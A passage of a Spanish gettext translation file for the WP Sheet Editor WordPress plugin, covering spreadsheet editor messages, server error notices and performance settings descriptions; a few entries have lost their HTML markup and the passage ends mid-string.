wp-sheet-editor/dev/inc/api/editor.php:321 msgid "Duplicate row" msgstr "Duplicar fila" #: wp-sheet-editor/dev/inc/api/editor.php:322 msgid "Hide column" msgstr "Ocultar columna" #: wp-sheet-editor/dev/inc/api/editor.php:323 msgid "Bulk edit column" msgstr "Editar esta columna masivamente" #: wp-sheet-editor/dev/inc/api/editor.php:325 msgid "Copy variations from this product" msgstr "Copiar variaciones de este producto" #: wp-sheet-editor/dev/inc/api/editor.php:327 msgid "Delete field" msgstr "Eliminar campo" #: wp-sheet-editor/dev/inc/api/editor.php:328 msgid "" "We will delete this meta field from the database and you will lose the " "values saved in this field on all the rows. You should make a backup to be " "able to restore in the future. Do you want to continue with the deletion?" msgstr "" "Borraremos este campo meta de la base de datos y perderás los valores " "guardados en este campo en todas las filas. Deberías hacer una copia de " "seguridad para poder restaurarla en el futuro. ¿Quieres continuar con la " "eliminación?" #: wp-sheet-editor/dev/inc/api/editor.php:329 msgid "Delete serialized field" msgstr "Eliminar campo serializado" #: wp-sheet-editor/dev/inc/api/editor.php:330 msgid "" "We will delete this serialized field, which includes all its subfields, from " "the database and you will lose the values saved in this field on all the " "rows. You should make a backup to be able to restore in the future. Do you " "want to continue with the deletion?" msgstr "" "Borraremos este campo serializado, incluyendo todos sus subcampos, de la " "base de datos y perderás los valores guardados en este campo en todas las " "filas. Deberías hacer una copia de seguridad para poder restaurar en el " "futuro. ¿Quieres continuar con la eliminación?" #: wp-sheet-editor/dev/inc/api/editor.php:331 msgid "Edit meta key" msgstr "Editar la meta clave" #: wp-sheet-editor/dev/inc/api/editor.php:332 msgid "Error: The new value is empty or is equal to the old value" msgstr "Error: El nuevo valor está vacío o es igual al valor antiguo" #: wp-sheet-editor/dev/inc/api/editor.php:333 msgid "Showing rows from your last session." msgstr "Mostrando las filas de la última sesión." #: wp-sheet-editor/dev/inc/api/editor.php:334 msgid "Export column" msgstr "Exportar columna" #: wp-sheet-editor/dev/inc/api/editor.php:335 msgid "" "

                  The bulk edit was not applied completely. The process was canceled due to " "an error.

                  You can close this window.

                  " msgstr "" "

                  El cambio masivo no se aplicó completamente. El proceso fue cancelado " "debido a un error.

                  Puedes cerrar esta ventana.

                  " #: wp-sheet-editor/dev/inc/api/editor.php:336 msgid "" "

                  The process did not finish. The process was canceled due to an error.

                  You can close this window.

                  " msgstr "" "

                  " "Puedes cerrar esta ventana.

                  " #: wp-sheet-editor/dev/inc/api/editor.php:337 msgid "" "Your server was not able to process this batch. Do you want to try again?" msgstr "" "El servidor no ha podido procesar este lote. ¿Quieres intentarlo de nuevo?" #: wp-sheet-editor/dev/inc/api/editor.php:338 msgid "The bulk edit was executed successfully. You can close this window" msgstr "El cambio masivo fue ejecutado con éxito. Puedes cerrar esta ventana." #: wp-sheet-editor/dev/inc/api/editor.php:340 msgid "" "ENABLE COLUMNS. These columns require a page reload: {columns}. Do you want " "to reload now? We will reload automatically" msgstr "" "HABILITAR COLUMNAS. Estas columnas requieren una recarga de la página: " "{columns}. ¿Quieres recargar ahora? Recargaremos automáticamente." #: wp-sheet-editor/dev/inc/api/editor.php:341 msgid "" "Column removed. Go to \"settings > hide/display columns\" to enable it again" msgstr "" "Columna removida. Ve a \"Ajustes > Ocultar/mostrar columnas\" para " "habilitarla de nuevo" #: wp-sheet-editor/dev/inc/api/editor.php:342 msgid "" "You have modified posts. Please save the changes because we will refresh the " "spreadsheet." msgstr "" "Has modificado filas. Por favor, guarda los cambios porque actualizaremos la " "hoja de cálculo." #: wp-sheet-editor/dev/inc/api/editor.php:343 msgid "" "You have modified rows. Please save the changes before removing columns from " "the spreadsheet." msgstr "" "Has modificado filas. Por favor, guarda los cambios antes de eliminar " "columnas de la hoja de cálculo." #: wp-sheet-editor/dev/inc/api/editor.php:344 msgid "" "You have modified posts. Please save the changes because we will refresh the " "spreadsheet. Do you want to refresh now?" msgstr "" "Has modificado filas. Por favor, guarda los cambios porque actualizaremos la " "hoja de cálculo. ¿Quieres recargar ahora?" #: wp-sheet-editor/dev/inc/api/editor.php:345 msgid "" "Some rows were modified in the background. Please save the changes and " "reload the spreadsheet to see the changes" msgstr "" "Algunas filas fueron modificadas en segundo plano. Por favor, guarda los " "cambios y recarga la hoja de cálculo para ver los cambios." #: wp-sheet-editor/dev/inc/api/editor.php:346 msgid "" "Some rows were modified in the spreadsheet. Please save the changes before " "using this feature." msgstr "" "Algunas filas fueron modificadas en el fondo. Por favor, guarda los cambios " "antes de usar esta función." #: wp-sheet-editor/dev/inc/api/editor.php:347 msgid "" "We didn't find rows to update from the search query. Please try another " "search query." msgstr "" "No encontramos filas a actualizar a partir de la consulta de búsqueda. Por " "favor, intenta otra búsqueda." #: wp-sheet-editor/dev/inc/api/editor.php:348 msgid "We didn't find rows for the export. Please try another search query." msgstr "No encontramos filas a exportar. Por favor, intenta con otra búsqueda." #: wp-sheet-editor/dev/inc/api/editor.php:349 msgid "You can find all the settings here, like columns visibility, etc." msgstr "" "Puedes encontrar todos los ajustes aquí, como la visibilidad de las " "columnas, etc." #: wp-sheet-editor/dev/inc/api/editor.php:350 msgid "Oops, nothing found" msgstr "Oops, no encontramos nada." #: wp-sheet-editor/dev/inc/api/editor.php:352 msgid "Upload image" msgstr "Subir imagen" #: wp-sheet-editor/dev/inc/api/editor.php:353 msgid "View Gallery" msgstr "Ver Galería" #: wp-sheet-editor/dev/inc/api/editor.php:354 msgid "No options available" msgstr "No hay opciones disponibles" #: wp-sheet-editor/dev/inc/api/editor.php:355 #: wp-sheet-editor/dev/inc/api/helpers.php:1341 msgid "Items loaded in the spreadsheet" msgstr "Elementos cargados en la hoja de cálculo" #: wp-sheet-editor/dev/inc/api/editor.php:356 msgid "New rows added" msgstr "Se añadieron nuevas filas" #: wp-sheet-editor/dev/inc/api/editor.php:357 msgid "" "The bulk edit has been executed. Do you want to reload the page to see the " "changes?" msgstr "" "El cambio masivo ha sido ejecutado. ¿Quieres recargar la página para ver los " "cambios?" #: wp-sheet-editor/dev/inc/api/editor.php:358 msgid "" "

                  The changes were not saved completely. The process was canceled due to an " "error .

                  You can close this popup.

                  " msgstr "" "

                  Los cambios no se guardaron completamente. El proceso fue cancelado " "debido a un error .

                  Puedes cerrar esta ventana emergente.

                  " #: wp-sheet-editor/dev/inc/api/editor.php:359 msgid "" "

                  The automatic saving failed. Your changes were not saved completely due " "to an error. You can try again later, if the error persists contact our " "support team and keep this tab opened

                  " msgstr "" "

                  El guardado automático falló. Tus cambios no se guardaron completamente " "debido a un error. Puedes intentarlo de nuevo más tarde. Si el error " "persiste, contacta a nuestro equipo de soporte y mantén esta pestaña abierta." "

                  " #: wp-sheet-editor/dev/inc/api/editor.php:360 msgid "{updated} attributes have been merged." msgstr "Se combinaron {updated} atributos." #: wp-sheet-editor/dev/inc/api/editor.php:361 msgid "{updated} items saved of {total} items that need saving." msgstr "" "Se han guardado {updated} elementos de {total} elementos que necesitan " "guardarse." #: wp-sheet-editor/dev/inc/api/editor.php:362 msgid "" "Scanning variations to be created. {updated} products of {total} products " "have been processed." msgstr "" "Escaneando variaciones a crear. Se han procesado {updated} productos de " "{total} productos." #: wp-sheet-editor/dev/inc/api/editor.php:363 msgid "{deleted} duplicates have been removed." msgstr "Se eliminaron {deleted} duplicados." #: wp-sheet-editor/dev/inc/api/editor.php:364 msgid "All items have been saved." msgstr "Se han guardado todos los elementos." #: wp-sheet-editor/dev/inc/api/editor.php:365 msgid "" "Please check if you have unsaved changes. If you have, please save them or " "they will be dismissed." msgstr "" "Por favor, comprueba si tienes cambios no guardados. Si es así, por favor, " "guárdalos o serán descartados." #: wp-sheet-editor/dev/inc/api/editor.php:366 msgid "Everything is already saved." msgstr "Ya está todo guardado." #: wp-sheet-editor/dev/inc/api/editor.php:367 msgid "" "The server did not accept our request. Bad request, please try refresh the " "page and try again." msgstr "" "El servidor no aceptó nuestra petición. Mala solicitud. Por favor, intenta " "actualizar la página e inténtalo de nuevo." #: wp-sheet-editor/dev/inc/api/editor.php:368 msgid "" "The server didn't accept our request. You don't have permission to do this " "action. Please log in again." msgstr "" "El servidor no aceptó nuestra petición. No tienes permisos para realizar " "esta acción. Por favor, inicia sesión de nuevo." #: wp-sheet-editor/dev/inc/api/editor.php:369 msgid "The server is not available or overloaded. Please try again later." msgstr "" "El servidor no está disponible o está sobrecargado. Por favor, inténtalo de " "nuevo más tarde." #: wp-sheet-editor/dev/inc/api/editor.php:370 msgid "The server is not available or overloaded. Do you want to try again?" msgstr "" "El servidor no está disponible o está sobrecargado. ¿Quieres intentarlo de " "nuevo?" #: wp-sheet-editor/dev/inc/api/editor.php:371 msgid "" "The auto saving failed: the server is not available or overloaded. Do you " "want to try again?" msgstr "" "El guardado automático falló: El servidor no está disponible o está " "sobrecargado. ¿Quieres intentarlo de nuevo?" #: wp-sheet-editor/dev/inc/api/editor.php:372 msgid "" "The server wasn't able to process our request. Server error. Please try " "again later." msgstr "" "El servidor no pudo procesar nuestra petición. Error del servidor. Por " "favor, inténtalo de nuevo más tarde." #: wp-sheet-editor/dev/inc/api/editor.php:373 msgid "" "The server has exceeded its allocated resources and is not able to process " "our request." msgstr "" "El servidor ha excedido sus recursos asignados y no puede procesar nuestra " "solicitud." #: wp-sheet-editor/dev/inc/api/editor.php:374 msgid "" "The server is busy and took too long to respond to our request. Please try " "again later." msgstr "" "El servidor está ocupado y tardó demasiado en responder a nuestra petición. " "Por favor, inténtalo de nuevo más tarde." #: wp-sheet-editor/dev/inc/api/editor.php:375 msgid "The server could not process our request. Please try again later." msgstr "" "El servidor no pudo procesar nuestra solicitud. Por favor, inténtalo de " "nuevo más tarde." #: wp-sheet-editor/dev/inc/api/editor.php:376 msgid "Change background color" msgstr "Cambiar el color de fondo" #: wp-sheet-editor/dev/inc/api/editor.php:377 msgid "" "

                  Missing column?

                  " msgstr "" "

                  ¿Falta una columna?

                  o " #: wp-sheet-editor/dev/inc/api/editor.php:383 msgid "" "Do we deserve a 5-star review? Yes, you deserve it . - . " "No" msgstr "" "¿Merecemos 5 estrellas? Sí, lo merecen. . - . No" #: wp-sheet-editor/dev/inc/api/helpers.php:444 #: wp-sheet-editor/dev/inc/teasers/terms.php:54 msgid "(Pro extension)" msgstr "(Extensión Pro)" #: wp-sheet-editor/dev/inc/api/helpers.php:448 #: wp-sheet-editor/dev/inc/teasers/coupons.php:35 #: wp-sheet-editor/dev/inc/teasers/terms.php:54 #: wp-sheet-editor/dev/inc/teasers/users.php:34 msgid "(Install free extension)" msgstr "(Instalar extensión gratuita)" #: wp-sheet-editor/dev/inc/api/helpers.php:551 msgid "The item could not be saved. Please try again in other moment." msgstr "" "El elemento no se ha podido guardar. Por favor, inténtalo de nuevo en otro " "momento." #: wp-sheet-editor/dev/inc/api/helpers.php:1026 msgid "User not allowed to edit rows" msgstr "Usuario no autorizado para editar las filas" #: wp-sheet-editor/dev/inc/api/helpers.php:1308 msgid "No more posts available." msgstr "No hay más filas disponibles." #: wp-sheet-editor/dev/inc/api/helpers.php:1310 msgid "" "No posts found matching your search parameters. You can remove the active " "filters or try with a different search." msgstr "" "No se han encontrado filas que coincidan con los parámetros de búsqueda. " "Puedes eliminar los filtros activos o intentarlo con una búsqueda diferente." #: wp-sheet-editor/dev/inc/api/helpers.php:1312 msgid "No posts available for the current page." msgstr "No hay filas disponibles para la página actual." #: wp-sheet-editor/dev/inc/api/logger.php:49 msgid "The log file does not exist." msgstr "El archivo de registro no existe." #: wp-sheet-editor/dev/inc/integrations/elementor.php:60 msgid "Elementor" msgstr "Elementor" #: wp-sheet-editor/dev/inc/integrations/notifier.php:38 msgid "Disable the popup that asks you to install important extensions?" msgstr "" "¿Deshabilitar la ventana emergente que te pide instalar extensiones " "importantes?" #: wp-sheet-editor/dev/inc/integrations/notifier.php:39 msgid "" "We show a popup asking you to install free extensions when we detect that " "you are using a third-party plugin that requires special compatibility, " "which helps us prevent errors." msgstr "" "Mostramos una ventana emergente pidiéndote que instales extensiones " "gratuitas cuando detectamos que estás utilizando un plugin de terceros que " "requiere una compatibilidad especial, lo que nos ayuda a evitar errores." #: wp-sheet-editor/dev/inc/integrations/notifier.php:201 msgid "Integrations" msgstr "Integraciones" #: wp-sheet-editor/dev/inc/integrations/notifier.php:241 msgid "Important extensions" msgstr "Extensiones importantes" #: wp-sheet-editor/dev/inc/integrations/notifier.php:242 msgid "" "Some of your plugins require special compatibility, and we have created " "these extensions that you can download for free if you purchased our plugin." msgstr "" "Algunos plugins requieren compatibilidad especial y hemos creado estas " "extensiones que puedes descargar gratuitamente si compraste nuestro plugin." #: wp-sheet-editor/dev/inc/integrations/notifier.php:243 msgid "" "It's important that you install them to prevent errors, but you can do it " "later if you want. Find this popup in the toolbar > extensions > " "Integrations." msgstr "" "Es importante que las instales para evitar errores, pero puedes hacerlo más " "tarde si quieres. Encuentra esta ventana emergente en la barra de " "herramientas > extensiones > Integraciones." #: wp-sheet-editor/dev/inc/integrations/notifier.php:244 msgid "" "If you click on the \"download\" button, we will download the file from the " "official website: wpsheeteditor.com." msgstr "" "Si haces clic en el botón \"descargar\", descargaremos el archivo desde el " "sitio web oficial: wpsheeteditor.com." #: wp-sheet-editor/dev/inc/integrations/notifier.php:251 #: wp-sheet-editor/dev/inc/integrations/notifier.php:274 msgid "Extension name" msgstr "Nombre de la extensión" #: wp-sheet-editor/dev/inc/integrations/notifier.php:252 #: wp-sheet-editor/dev/inc/integrations/notifier.php:275 #: wp-sheet-editor/dev/inc/teasers/post-types.php:96 msgid "Description" msgstr "Descripción" #: wp-sheet-editor/dev/inc/integrations/notifier.php:253 #: wp-sheet-editor/dev/inc/integrations/notifier.php:276 msgid "Action" msgstr "Acción" #: wp-sheet-editor/dev/inc/integrations/notifier.php:261 #: wp-sheet-editor/dev/inc/integrations/notifier.php:284 msgid "Already downloaded" msgstr "Descargada" #: wp-sheet-editor/dev/inc/integrations/notifier.php:261 msgid "Download" msgstr "Descargar" #: wp-sheet-editor/dev/inc/integrations/notifier.php:270 msgid "Extensions that require update" msgstr "Extensiones que requieren actualización" #: wp-sheet-editor/dev/inc/integrations/notifier.php:284 msgid "Download update" msgstr "Actualización de descarga" #: wp-sheet-editor/dev/inc/integrations/notifier.php:290 msgid "" "When you finish downloading the plugins, you need to go to wp-admin > " "plugins > add new and install them." msgstr "" "Cuando termines de descargar los plugins, tienes que ir a wp-admin > plugins " "> añadir nuevo e instalarlos." #: wp-sheet-editor/dev/inc/integrations/notifier.php:291 #, fuzzy #| msgid "Need help?" msgid "Do you need help?." msgstr "¿Necesitas ayuda?" #: wp-sheet-editor/dev/inc/integrations/visual-composer.php:33 msgid "WPBakery Page Builder" msgstr "WPBakery Page Builder" #: wp-sheet-editor/dev/inc/integrations/visual-composer.php:46 msgid "Live" msgstr "En vivo" #: wp-sheet-editor/dev/inc/integrations/visual-composer.php:52 msgid "Backend" msgstr "Backend" #: wp-sheet-editor/dev/inc/options-init.php:19 msgid "Speed and performance" msgstr "Velocidad y rendimiento" #: wp-sheet-editor/dev/inc/options-init.php:25 msgid "Load rows faster: Number of rows to load per batch" msgstr "Cargar las filas más rápido: Número de filas a cargar por lote" #: wp-sheet-editor/dev/inc/options-init.php:26 msgid "" "We use pagination to use few server resources. We load 20 rows first and " "load 20 more every time you scroll down. You can increase this number to " "load more rows per page. CAREFUL. Loading more than 200 rows per page might " "overload your server. If we detect that the server is overloaded we will " "automatically reset to 10 rows per page." msgstr "" "Usamos la paginación para usar pocos recursos del servidor. Cargamos 20 " "filas primero y 20 más cada vez que se desplaza hacia abajo. Puedes aumentar " "este número para cargar más filas por página. CUIDADO. Cargar más de 200 " "filas por página podría sobrecargar tu servidor. Si detectamos que el " "servidor está sobrecargado, automáticamente se restablecerá a 10 filas por " "página." #: wp-sheet-editor/dev/inc/options-init.php:33 msgid "Export rows faster: Number of rows to export per batch" msgstr "Exportar filas más rápido: Número de filas a exportar por lote" #: wp-sheet-editor/dev/inc/options-init.php:34 msgid "" "Here you can control the batch size for the exports. If you use a high " "number the exports will finish faster. You can use a high number safely " "because we automatically fall back to a lower number if the server is " "overloaded during one export. For example, export 100 rows per batch and " "complete the exports super fast and if we detect slowness in one export we " "will automatically restart the export with 10 rows per batch" msgstr "" "Aquí puedes controlar el tamaño del lote para las exportaciones. Si usas un " "número alto, las exportaciones terminarán más rápido. Puedes usar un número " "alto de forma segura porque automáticamente volvemos a un número más bajo si " "el servidor se sobrecarga durante una exportación. Por ejemplo, exportar 100 " "filas por lote y completar las exportaciones súper rápido y si detectamos " "lentitud en una exportación reiniciaremos automáticamente la exportación con " "10 filas por lote" #: wp-sheet-editor/dev/inc/options-init.php:41 msgid "Save changes faster: Number of rows to save per batch" msgstr "Guarda los cambios más rápido: Número de filas a guardar por lote" #: wp-sheet-editor/dev/inc/options-init.php:42 msgid "" "When you edit a large amount of posts in the spreadsheet editor we can't " "save all the changes at once, so we do it in batches. The recommended value " "is 4 , which means we will process only 4 posts at once. You can adjust it " "as it works best for you. If you get errors when saving you should lower the " "number" msgstr "" "Cuando editas una gran cantidad de filas en el editor de hojas de cálculo, " "no podemos guardar todos los cambios a la vez, así que lo hacemos por lotes. " "El valor recomendado es 4 , lo que significa que procesaremos sólo 4 filas a " "la vez. Puedes ajustarlo como mejor te convenga. Si se producen errores al " "guardar, deberías reducir el número" #: wp-sheet-editor/dev/inc/options-init.php:49 msgid "Delete posts faster: Number of posts to delete per batch" msgstr "Borrar filas más rápido: Número de filas a borrar por lote" #: wp-sheet-editor/dev/inc/options-init.php:50 msgid "" "When you delete posts, pages, events, products, orders, coupons, and other " "post types, you can select how many will be deleted on every batch. Use a " "higher number to finish faster. Default is 500" msgstr "" "Cuando borras entradas, páginas, eventos, productos, pedidos, cupones, y " "otros post types, puedes seleccionar cuántas filas borraremos por lote. Usa " "un número mayor para finalizar más rápido, pero pudiera saturar tu servidor. " "Predeterminado: 500" #: wp-sheet-editor/dev/inc/options-init.php:58 msgid "Increase Productivity" msgstr "Aumentar la productividad" #: wp-sheet-editor/dev/inc/options-init.php:63 msgid "Use pagination in the spreadsheet?" msgstr "¿Usar la paginación en la hoja de cálculo?" #: wp-sheet-editor/dev/inc/options-init.php:64 msgid "" "By default we use an infinite list of rows and we load more rows every time " "you scroll down. You can activate this option to display pagination links " "and disable the infinite list." msgstr "" "Por defecto, usamos una lista infinita de filas y cargamos más filas cada " "vez que te desplazas hacia abajo. Puedes habilitar esta opción para mostrar " "los enlaces de paginación y desactivar la lista infinita." #: wp-sheet-editor/dev/inc/options-init.php:70 msgid "Disable the automatic loading of rows?" msgstr "¿Desactivar la carga automática de filas?" #: wp-sheet-editor/dev/inc/options-init.php:71 msgid "" "When you open the spreadsheet, we load the rows automatically so you can " "start editing right away. Activate this option if you want to search rows " "and load manually." msgstr "" "Cuando abres la hoja de cálculo, cargamos las filas automáticamente para que " "puedas empezar a editar de inmediato. Habilita esta opción si quieres buscar " "filas y cargarlas manualmente." #: wp-sheet-editor/dev/inc/options-init.php:77 msgid "Disable the full screen mode?" msgstr "¿Desactivar el modo de pantalla completa?" #: wp-sheet-editor/dev/inc/options-init.php:78 msgid "" "When the sheet loads, we open it in full screen and you have the option to " "exit the full screen mode. Activate this option and we wont open the sheet " "in full screen." msgstr "" "Cuando se carga la hoja de cálculo, la abrimos en pantalla completa y tienes " "la opción de salir del modo de pantalla completa. Habilita esta opción y no " "abriremos la hoja en pantalla completa." #: wp-sheet-editor/dev/inc/options-init.php:84 msgid "Load more items on scroll?" msgstr "¿Cargar más filas al hacer scroll?" #: wp-sheet-editor/dev/inc/options-init.php:85 msgid "" "When this is enabled more items will be loaded to the bottom of the " "spreadsheet when you reach the end of the page. You can enable / disable in " "the spreadsheet too." msgstr "" "Cuando esta opción está habilitada, se cargarán más filas en la parte " "inferior de la hoja de cálculo cuando llegues al final de la página. También " "puedes habilitar/deshabilitar en la hoja de cálculo." #: wp-sheet-editor/dev/inc/options-init.php:92 msgid "Freeze first columns at the left side?" msgstr "¿Congelar las columnas iniciales del lado izquierdo?" #: wp-sheet-editor/dev/inc/options-init.php:93 msgid "" "Enter a number and those columns will be frozen while scrolling " "horizontally. You can right click on any column to freeze or unfreeze it. " "For example, enter 2 to freeze the first 2 columns" msgstr "" "Ingresa un número y esas columnas se fijarán al hacer scroll " "horizontalmente. Puedes hacer clic derecho en cualquier columna para fijar y " "descongelar. Por ejemplo, ingresa 2 para fijar las primeras 2 columnas." #: wp-sheet-editor/dev/inc/options-init.php:99 msgid "Enable auto saving?" msgstr "¿Habilitar el guardado automático?" #: wp-sheet-editor/dev/inc/options-init.php:100 msgid "" "Turn this on and the spreadsheet will save automatically all the changes " "made on the cells every 2 minutes. Careful, this might cause issues if the " "changes are saved prematurely before you finish editing all the required " "columns." msgstr "" "Habilita esto y la hoja de cálculo guardará los cambios hechos en las celdas " "cada 2 minutos. Cuidado: Esto puede causar problemas si los cambios se " "guardan prematuramente antes que termines de editar todas las columnas " "requeridas." #: wp-sheet-editor/dev/inc/options-init.php:116 msgid "Default sort order" msgstr "Orden por defecto" #: wp-sheet-editor/dev/inc/options-init.php:117 msgid "" "We'll sort the rows in the spreadsheet by this field. We recommend you sort " "based on fields that have values in all the rows in order to get more " "accurate results. For example, it's better to sort 1k products by Title ASC " "because you know that all the rows will be sorted accurately, but if you " "sort 1k rows by SKU, the 500 rows with SKU will be sorted correctly but the " "500 rows without SKU could potentially have random order as we don't have " "any value to sort them accurately." msgstr "" "Ordenaremos las filas de la hoja de cálculo según este campo. Te " "recomendamos ordenar por campos que tengan valores en todas las filas para " "obtener resultados más precisos. Por ejemplo, es mejor ordenar 1k productos " "por Título ASC porque sabes que todas las filas se ordenarán con precisión, " "pero si ordenas 1k filas por SKU, las 500 filas con SKU se ordenarán " "correctamente pero las 500 filas sin SKU podrían tener un orden aleatorio ya " "que no tenemos ningún valor para ordenarlas con precisión." #: wp-sheet-editor/dev/inc/options-init.php:129 msgid "Solution to weird errors" msgstr "Solución de errores raros" #: wp-sheet-editor/dev/inc/options-init.php:135 msgid "Columns limit" msgstr "Límite de columnas" #: wp-sheet-editor/dev/inc/options-init.php:136 msgid "" "We limit the spreadsheet columns for performance reasons to avoid loading " "thousands of columns on the spreadsheet. You can increase this limit if you " "want to display more columns. Default: 310" msgstr "" "Limitamos las columnas de la hoja de cálculo por razones de rendimiento para " "evitar cargar miles de columnas en la hoja de cálculo. Puedes aumentar este " "límite si quieres visualizar más columnas. Predeterminado: 310" #: wp-sheet-editor/dev/inc/options-init.php:142 msgid "Separator for taxonomy terms cells" msgstr "Separador de celdas de términos de taxonomía" #: wp-sheet-editor/dev/inc/options-init.php:143 msgid "" "Taxonomy columns like post categories, post tags, etc. show terms separated " "by comma, if you use commas in your term names, use this option to change " "the separator" msgstr "" "Las columnas de taxonomía como las categorías de las entradas, las etiquetas " "de las entradas, etc. muestran los términos separados por comas, si usas " "comas en los nombres de las taxonomías, usa esta opción para cambiar el " "separador" #: wp-sheet-editor/dev/inc/options-init.php:150 msgid "How long do you want to wait between batches? (in seconds)" msgstr "¿Cuánto tiempo quieres esperar entre cada lote? (en segundos)" #: wp-sheet-editor/dev/inc/options-init.php:151 msgid "" "When you edit a large amount of posts in the spreadsheet editor we can't " "save all the changes at once, so we do it in batches. But your server can't " "handle all the batches one after another so we need to wait a few seconds " "after every batch to give your server a little break. The recommended value " "is 6 seconds, you can adjust it as it works best for you. If you get errors " "when saving you should increase the number to give your server a longer " "break after each batch" msgstr "" "Cuando editas una gran cantidad de filas en el editor de hojas de cálculo, " "no podemos guardar todos los cambios a la vez, así que lo hacemos por lotes. " "Pero tu servidor no puede manejar todos los lotes uno tras otro, así que " "necesitamos esperar unos segundos después de cada lote para darle a tu " "servidor un pequeño descanso. El valor recomendado es de 6 segundos, puedes " "ajustarlo como mejor te convenga. Si obtienes errores al guardar, deberías " "aumentar el número para dar a tu servidor un descanso más largo después de " "cada lote." #: wp-sheet-editor/dev/inc/options-init.php:157 msgid "Disable post actions while saving?" msgstr "¿Desactivar las acciones posteriores al guardar cambios?" #: wp-sheet-editor/dev/inc/options-init.php:158 msgid "" "Some plugins execute a task after a post is created or updated. For example, " "there are plugins that share your new posts on your social profiles, other " "plugins that notify users after a post is updated, etc. There might be an " "issue with those plugins. For example, if you use a plugin that shares your " "new posts on your twitter account and update 100 posts in the spreadsheet " "editor you might end up with 100 tweets shared in your twitter account. So " "enable this option if you want to update / create posts silently without " "executing those functions." msgstr "" "Algunos plugins ejecutan una tarea después de crear o actualizar una " "entrada. Por ejemplo, hay plugins que comparten tus nuevas entradas en tus " "perfiles sociales, otros plugins notifican a los usuarios después de que una " "entrada es actualizada, etc. Puede que haya un problema con esos plugins. " "Por ejemplo, si usas un plugin que comparte tus nuevos posts en tu cuenta de " "twitter y actualizas 100 posts en el editor de la hoja de cálculo, puedes " "terminar con 100 tweets compartidos en tu cuenta de twitter. Así que " "habilita esta opción si quieres actualizar / crear posts silenciosamente sin " "ejecutar esas funciones." #: wp-sheet-editor/dev/inc/options-init.php:164 msgid "Suspend object cache invalidation?" msgstr "¿Suspender la invalidación de la caché de objetos?" #: wp-sheet-editor/dev/inc/options-init.php:165 msgid "" "Disable this if you are using a object/database cache plugin. We disable " "this by default to make the saving faster, when you edit a lot of posts " "WordPress tries to \"clean up\" the cache even if you are not using a cache " "plugin, making hundreds of unnecessary database queries." msgstr "" "Deshabilita esta opción si estás usando un plugin de caché de objetos/bases " "de datos. Desactivamos esto por defecto para que el ahorro sea más rápido. " "Cuando editas muchas entradas, WordPress intenta \"limpiar\" la caché " "incluso si no estás usando un plugin de caché, haciendo cientos de consultas " "innecesarias a la base de datos." #: wp-sheet-editor/dev/inc/options-init.php:171 msgid "Disable the replacement of line breaks with p tags?" msgstr "¿Deshabilitar la sustitución de los saltos de línea con etiquetas p?" #: wp-sheet-editor/dev/inc/options-init.php:172 msgid "" "When the sheet loads and saves post content, we run it through wpautop to " "prevent issues with line breaks. You can disable this if you dont want to " "see/save the p tags in the content." msgstr "" "Cuando se carga la hoja de cálculo y guarda el contenido de las filas, la " "ejecutamos a través de wpautop para evitar problemas de saltos de línea. " "Puedes deshabilitar esto si no quieres ver/guardar las etiquetas p en el " "contenido." #: wp-sheet-editor/dev/inc/options-init.php:178 msgid "Deactivate the data prefetch" msgstr "Desactivar el prefetch de los datos" #: wp-sheet-editor/dev/inc/options-init.php:179 msgid "" "When you load the spreadsheet, we get all the columns at once from the " "database to make it faster, this is called prefetch. This can cause issues " "if you have thousands of columns or rare database setups." msgstr "" "Cuando cargas la hoja de cálculo, obtenemos todas las columnas a la vez de " "la base de datos para hacerlo más rápido, esto se llama prefetch. Esto puede " "causar problemas si tienes miles de columnas o configuraciones raras en tus " "bases de datos." #: wp-sheet-editor/dev/inc/options-init.php:185 msgid "Meta keys that should use the infinite serialized fields handler" msgstr "" "Claves meta que deben utilizar el administrador de campos serializados " "infinitos" #: wp-sheet-editor/dev/inc/options-init.php:186 msgid "" "This is only for advanced users or if our support team asks you to use this " "option. We have 2 ways to handle serialized fields: the old handler (used by " "default, which has limitations) and the infinite serialization handler " "(better, it is not active by default to not break previous integrations). " "Use this option if you have serialized fields that save incorrectly or dont " "appear in the spreadsheet." msgstr "" "Esto es sólo para usuarios avanzados o si nuestro equipo de soporte te pide " "que uses esta opción. Tenemos dos maneras de manejar los campos " "serializados: el antiguo controlador (usado por defecto, que tiene " "limitaciones) y el controlador de serialización infinita (mejor, no está " "activo por defecto para no romper integraciones anteriores). Utiliza esta " "opción si tienes campos serializados que se guardan incorrectamente o no " "aparecen en la hoja de cálculo." #: wp-sheet-editor/dev/inc/options-init.php:191 msgid "Blacklist these columns" msgstr "Poner estas columnas en la lista negra" #: wp-sheet-editor/dev/inc/options-init.php:192 msgid "" "Enter the list of field keys separated by commas, you can enter the full " "meta field key or partial keywords or prefixes. This is useful because some " "plugins add thousands of unnecessary fields to the database and they clutter " "the spreadsheet" msgstr "" "Ingresa la lista de claves de campo separadas por comas, puedes ingresar la " "clave completa del campo meta o las palabras clave o prefijos parciales. " "Esto es útil porque algunos plugins añaden miles de campos innecesarios a la " "base de datos y desordenan la hoja de cálculo" #: wp-sheet-editor/dev/inc/options-init.php:197 msgid "Enable the utf8 encoding fix" msgstr "Habilitar la corrección de la codificación utf8" #: wp-sheet-editor/dev/inc/options-init.php:198 msgid "This might help if the spreadsheet doesnt load or it loads empty." msgstr "" "Esto puede ayudar si la hoja de cálculo no carga filas o si las filas " "aparecen vacías." #: wp-sheet-editor/dev/inc/options-init.php:205 msgid "Maximum number of seconds to download external images?" msgstr "Número máximo de segundos para descargar imágenes externas?" #: wp-sheet-editor/dev/inc/options-init.php:206 msgid "" "Default: 4. When you enter an external image URL in any image cells (or " "during the import), we download the image file into the WordPress media " "library and save it in the field. By default, we limit the download time to " "4 seconds, any download that exceeds that number of seconds will be cancelled" msgstr "" "Por defecto: 4. Cuando ingresas una URL externa en columnas de imágenes o " "durante la importación, descargamos la imagen y la guardamos en la librería " "multimedia de WordPress. Por defecto, limitamos la descarga a 4 segundos, " "cualquier descarga que supere eso será cancelada para evitar problemas de " "rendimiento." #: wp-sheet-editor/dev/inc/options-init.php:212 msgid "Maximum meta fields displayed in the advanced filters dropdown" msgstr "Cantidad máxima de campos disponibles para búsqueda avanzada?" #: wp-sheet-editor/dev/inc/options-init.php:213 msgid "" "We limit the list of fields to 1000 meta fields to avoid memory leaks/" "performance issues. If you want to search by a field that does not appear in " "the dropdown, increase this number." msgstr "" "Limitamos la lista de campos a 1000 meta campos para evitar pérdidas de " "memoria/problemas de rendimiento. Si quieres buscar por un campo que no " "aparece en el desplegable, aumenta este número." #: wp-sheet-editor/dev/inc/options-init.php:219 msgid "Allow line breaks in values during the export and import process" msgstr "Permitir saltos de 